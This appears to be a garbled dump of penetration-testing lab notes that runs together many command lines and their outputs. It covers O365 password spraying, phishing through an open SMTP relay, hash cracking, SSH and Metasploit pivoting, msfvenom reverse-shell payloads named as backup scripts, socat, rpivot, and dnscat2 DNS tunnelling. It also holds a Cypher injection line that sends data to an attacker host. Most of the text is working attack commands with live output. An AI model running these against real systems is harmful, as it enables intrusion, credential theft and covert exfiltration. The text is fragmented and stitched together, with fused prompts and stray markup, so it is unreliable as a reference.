> count : 1 passwords/spray
> lockout : 1.0 minutes
> spray_module : oauth2
> rate : 10 threads
> safe : 10 locked accounts
> timeout : 25 seconds
> start : 2022-04-14 12:26:31
>----------------------------------------<
[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO :
[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'
[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1gzzcoo@htb[/htb]# nmap -p25 -Pn --script smtp-open-relay 10.10.11.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).
PORT STATE SERVICE
25/tcp open smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)gzzcoo@htb[/htb]# swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<- 220 mail.localdomain SMTP Mailer ready
-> EHLO parrot
<- 250-mail.localdomain
<- 250-SIZE 33554432
<- 250-8BITMIME
<- 250-STARTTLS
<- 250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<- 250 HELP
-> MAIL FROM:<notifications@inlanefreight.com>
<- 250 OK
-> RCPT TO:<employees@inlanefreight.com>
<- 250 OK
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 29 Oct 2020 01:36:06 -0400
-> To: employees@inlanefreight.com
-> From: notifications@inlanefreight.com
-> Subject: Company Notification
-> Message-Id: <20201029013606.775675@parrot>
-> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
->
-> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
->
->
-> .
<- 250 OK
-> QUIT
<- 221 Bye
=== Connection closed with remote host.\lstinputlisting{/etc/passwd}$\lstinputlisting{/etc/passwd}$gzzcoo@htb[/nobody]$ john --format=<hash_type> <hash or hash_file>gzzcoo@htb[/nobody]$ john --format=sha256 hashes_to_crack.txtgzzcoo@htb[/nobody]$ john --wordlist=<wordlist_file> --rules <hash_file>gzzcoo@htb[/nobody]$ john --incremental <hash_file>cry0l1t3@htb:~$ <tool> <file_to_crack> > file.hash
cry0l1t3@htb:~$ pdf2john server_doc.pdf > server_doc.hash
cry0l1t3@htb:~$ john server_doc.hash
# OR
cry0l1t3@htb:~$ john --wordlist=<wordlist.txt> server_doc.hash ❯ locate '*2john*'
/usr/bin/1password2john
/usr/bin/7z2john
/usr/bin/DPAPImk2john
/usr/bin/adxcsouf2john
/usr/bin/aem2john
/usr/bin/aix2john
/usr/bin/andotp2john
/usr/bin/androidbackup2john
/usr/bin/androidfde2john
/usr/bin/ansible2john
/usr/bin/apex2john
...[SNIP]...gzzcoo@nobody[/tmp]$ nmap -sT -p22,3306 10.129.202.64
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:12 EST
Nmap scan report for 10.129.202.64
Host is up (0.12s latency).
PORT STATE SERVICE
22/tcp open ssh
3306/tcp closed mysql
Nmap done: 1 IP address (1 host up) scanned in 0.68 secondsgzzcoo@nobody[/tmp]$ ssh -L 1234:localhost:3306 ubuntu@10.129.202.64gzzcoo@nobody[/tmp]$ netstat -antp | grep 1234
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:1234 0.0.0.0:* LISTEN 4034/ssh
tcp6 0 0 ::1:1234 :::* LISTEN 4034/ssh gzzcoo@nobody[/tmp]$ nmap -v -sV -p1234 localhost
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:18 EST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 12:18
Scanning localhost (127.0.0.1) [2 ports]
Completed Ping Scan at 12:18, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 12:18
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 1234/tcp on 127.0.0.1
Completed Connect Scan at 12:18, 0.01s elapsed (1 total ports)
Initiating Service scan at 12:18
Scanning 1 service on localhost (127.0.0.1)
Completed Service scan at 12:18, 0.12s elapsed (1 service on 1 host)
NSE: Script scanning 127.0.0.1.
Initiating NSE at 12:18
Completed NSE at 12:18, 0.01s elapsed
Initiating NSE at 12:18
Completed NSE at 12:18, 0.00s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0080s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
1234/tcp open mysql MySQL 8.0.28-0ubuntu0.20.04.3
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.18 secondsgzzcoo@nobody[/tmp]$ ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64gzzcoo@nobody[/tmp]$ ssh -D 9050 ubuntu@10.129.202.64gzzcoo@nobody[/tmp]$ tail -4 /etc/proxychains.conf
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050gzzcoo@nobody[/tmp]$ proxychains nmap -v -sn 172.16.5.1-200
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:30 EST
Initiating Ping Scan at 12:30
Scanning 10 hosts [2 ports/host]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.2:80-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.5:80-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.6:80-<--timeout
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
<SNIP>gzzcoo@nobody[/tmp]$ proxychains nmap -v -Pn -sT 172.16.5.19
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:33 EST
Initiating Parallel DNS resolution of 1 host. at 12:33
Completed Parallel DNS resolution of 1 host. at 12:33, 0.15s elapsed
Initiating Connect Scan at 12:33
Scanning 172.16.5.19 [1000 ports]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:1720-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:587-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:445-<><>-OK
Discovered open port 445/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:8080-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:23-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:135-<><>-OK
Discovered open port 135/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:110-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:21-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:554-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-1172.16.5.19:25-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:5900-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:1025-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:143-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:199-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:993-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:995-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:443-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:80-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:113-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:8888-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:139-<><>-OK
Discovered open port 139/tcp on 172.16.5.19gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 712 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exemsf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8000gzzcoo@nobody[/tmp]$ scp backupscript.exe ubuntu@<ipAddressofTarget>:~/
backupscript.exe 100% 7168 65.4KB/s 00:00 ubuntu@Webserver$ python3 -m http.server 8123Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"gzzcoo@nobody[/tmp]$ ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vNebug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.19 port 61355
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=5
debug1: channel 1: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: free: 172.16.5.19, nchannels 2
debug1: channel 1: connected to 0.0.0.0 port 8000
debug1: channel 1: free: 172.16.5.19, nchannels 1
debug1: client_input_channel_open: ctype forwarded-tcpip rchan 2 win 2097152 max 32768
debug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.19 port 61356
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=4
debug1: channel 0: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: connected to 0.0.0.0 port 8000[*] Started HTTPS reverse handler on https://0.0.0.0:8000
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1 ) at 2022-03-02 10:48:10 -0500
meterpreter > shell
Process 3236 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\>gzzcoo@nobody[/tmp]$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjobmsf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8080 ubuntu@WebServer:~$ ls
backupjob
ubuntu@WebServer:~$ chmod +x backupjob
ubuntu@WebServer:~$ ./backupjob[*] Sending stage (3020772 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826 ) at 2022-03-03 12:27:43 -0500
meterpreter > pwd
/home/ubuntumeterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
[*] Performing ping sweep for IP range 172.16.5.0/23for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;donefor /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 9050 yes The port to listen on
VERSION 4a yes The SOCKS version to use (Accepted: 4a,
5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy servermsf6 auxiliary(server/socks_proxy) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Auxiliary: server/socks_proxysocks4 127.0.0.1 9050msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
SUBNET => 172.16.5.0
msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: linux
[*] Running module against 10.129.202.64
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table.
[*] Post module execution completedmeterpreter > run autoroute -s 172.16.5.0/23
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.254.0...
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64
[*] Use the -p option to list all active routesmeterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.129.0.0 255.255.0.0 Session 1
172.16.4.0 255.255.254.0 Session 1
172.16.5.0 255.255.254.0 Session 1gzzcoo@nobody[/tmp]$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-03 13:40 EST
Initiating Parallel DNS resolution of 1 host. at 13:40
Completed Parallel DNS resolution of 1 host. at 13:40, 0.12s elapsed
Initiating Connect Scan at 13:40
Scanning 172.16.5.19 [1 port]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19 :3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
Completed Connect Scan at 13:40, 0.12s elapsed (1 total ports)
Nmap scan report for 172.16.5.19
Host is up (0.12s latency).
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.45 secondsmeterpreter > help portfwd
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to.
-R Indicates a reverse port forward.meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19
[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389gzzcoo@nobody[/tmp]$ xfreerdp /v:localhost:3300 /u:victor /p:pass@123gzzcoo@nobody[/tmp]$ netstat -antp
tcp 0 0 127.0.0.1:54652 127.0.0.1:3300 ESTABLISHED 4075/xfreerdp meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8081 gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe[*] Started reverse TCP handler on 0.0.0.0:8081
[*] Sending stage (200262 bytes) to 10.10.14.18
[*] Meterpreter session 2 opened (10.10.14.18:8081 -> 10.10.14.18:40173 ) at 2022-03-04 15:26:14 -0500
meterpreter > shell
Process 2336 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\>ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 743 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exesudo msfconsole -qmsf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:80[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1 ) at 2022-03-07 11:08:10 -0500
meterpreter > getuid
Server username: INLANEFREIGHT\victorgzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 499 bytes
Final size of exe file: 7168 bytes
Saved as: backupjob.exeubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.129.202.64
RHOST => 10.129.202.64
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 10.129.202.64:8080[*] Sending stage (200262 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:46253 -> 10.129.202.64:8080 ) at 2022-03-07 12:44:44 -0500
meterpreter > getuid
Server username: INLANEFREIGHT\victorplink -ssh -D 9050 ubuntu@10.129.15.50sudo apt-get install sshuttle -ygzzcoo@nobody[/tmp]$ sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v
Starting sshuttle proxy (version 1.1.0).
c : Starting firewall manager with command: ['/usr/bin/python3', '/usr/local/lib/python3.9/dist-packages/sshuttle/__main__.py', '-v', '--method', 'auto', '--firewall']
fw: Starting firewall with Python version 3.9.2
fw: ready method name nat.
c : IPv6 enabled: Using default IPv6 listen address ::1
c : Method: nat
c : IPv4: on
c : IPv6: on
c : UDP : off (not available with nat method)
c : DNS : off (available)
c : User: off (available)
c : Subnets to forward through remote host (type, IP, cidr mask width, startPort, endPort):
c : (<AddressFamily.AF_INET: 2>, '172.16.5.0', 32, 0, 0)
c : Subnets to exclude from forwarding:
c : (<AddressFamily.AF_INET: 2>, '127.0.0.1', 32, 0, 0)
c : (<AddressFamily.AF_INET6: 10>, '::1', 128, 0, 0)
c : TCP redirector listening on ('::1', 12300, 0, 0).
c : TCP redirector listening on ('127.0.0.1', 12300).
c : Starting client with Python version 3.9.2
c : Connecting to server...
ubuntu@10.129.202.64's password:
s: Running server on remote host with /usr/bin/python3 (version 3.8.10)
s: latency control setting = True
s: auto-nets:False
c : Connected to server.
fw: setting up.
fw: ip6tables -w -t nat -N sshuttle-12300
fw: ip6tables -w -t nat -F sshuttle-12300
fw: ip6tables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: ip6tables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN --dest ::1/128 -p tcp
fw: iptables -w -t nat -N sshuttle-12300
fw: iptables -w -t nat -F sshuttle-12300
fw: iptables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: iptables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 172.16.5.0/32 -p tcp --to-ports 12300gzzcoo@nobody[/tmp]$ nmap -v -sV -p3389 172.16.5.19 -A -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-08 11:16 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 11:16
Completed Parallel DNS resolution of 1 host. at 11:16, 0.15s elapsed
Initiating Connect Scan at 11:16
Scanning 172.16.5.19 [1 port]
Completed Connect Scan at 11:16, 2.00s elapsed (1 total ports)
Initiating Service scan at 11:16
NSE: Script scanning 172.16.5.19.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Nmap scan report for 172.16.5.19
Host is up.
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Domain_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: inlanefreight.local
| DNS_Computer_Name: DC01.inlanefreight.local
| Product_Version: 10.0.17763
|_ System_Time: 2022-08-14T02:58:25+00:00
|_ssl-date: 2022-08-14T02:58:25+00:00; +7s from scanner time.
| ssl-cert: Subject: commonName=DC01.inlanefreight.local
| Issuer: commonName=DC01.inlanefreight.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-08-13T02:51:48
| Not valid after: 2023-02-12T02:51:48
| MD5: 58a1 27de 5f06 fea6 0e18 9a02 f0de 982b
|_SHA-1: f490 dc7d 3387 9962 745a 9ef8 8c15 d20e 477f 88cb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6s, deviation: 0s, median: 6s
NSE: Script Post-scanning.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.07 secondsgit clone https://github.com/klsecservices/rpivot.gitsudo apt-get install python2.7curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7gzzcoo@nobody[/tmp]$ python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0gzzcoo@nobody[/tmp]$ scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/ubuntu@WEB01:~/rpivot$ python2.7 client.py --server-ip 10.10.14.18 --server-port 9999New connection from host 10.129.202.64, source port 35226proxychains firefox-esr 172.16.5.135:80python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>C:\Windows\system32> netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25C:\Windows\system32> netsh.exe interface portproxy show v4tov4
Listen on ipv4: Connect to ipv4:
Address Port Address Port
--------------- ---------- --------------- ----------
10.129.42.198 8080 172.16.5.25 3389git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle installgzzcoo@nobody[/tmp]$ sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.git clone https://github.com/lukebaggett/dnscat2-powershell.gitImport-Module .\dnscat2.ps1PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2>dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
exec (OFFICEMANAGER) 1>krb5-user y krb5-config en el equipo local.ccache.








' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://<ATTACKER_IP>/?l='+label as l RETURN 0 as _0 //




export KRB5CCNAME=$(pwd)/user.ccachesudo apt install krb5-userklistsudo apt install krb5-config -ysudo nano /etc/krb5.conf[libdefaults]
default_realm = DOMINIO.HTB
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
HAZE.HTB = {
kdc = dc.dominio.htb
admin_server = dc.dominio.htb
default_domain = dominio.htb
}
[domain_realm]
.dominio.htb = DOMINIO.HTB
dominio.htb = DOMINIO.HTBsudo gem install evil-winrm❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM 10.10.10.10 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM 10.10.10.10 5985 DC [+] dominio.htb\user123:Password01! (Pwn3d!)❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM 10.10.10.10 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
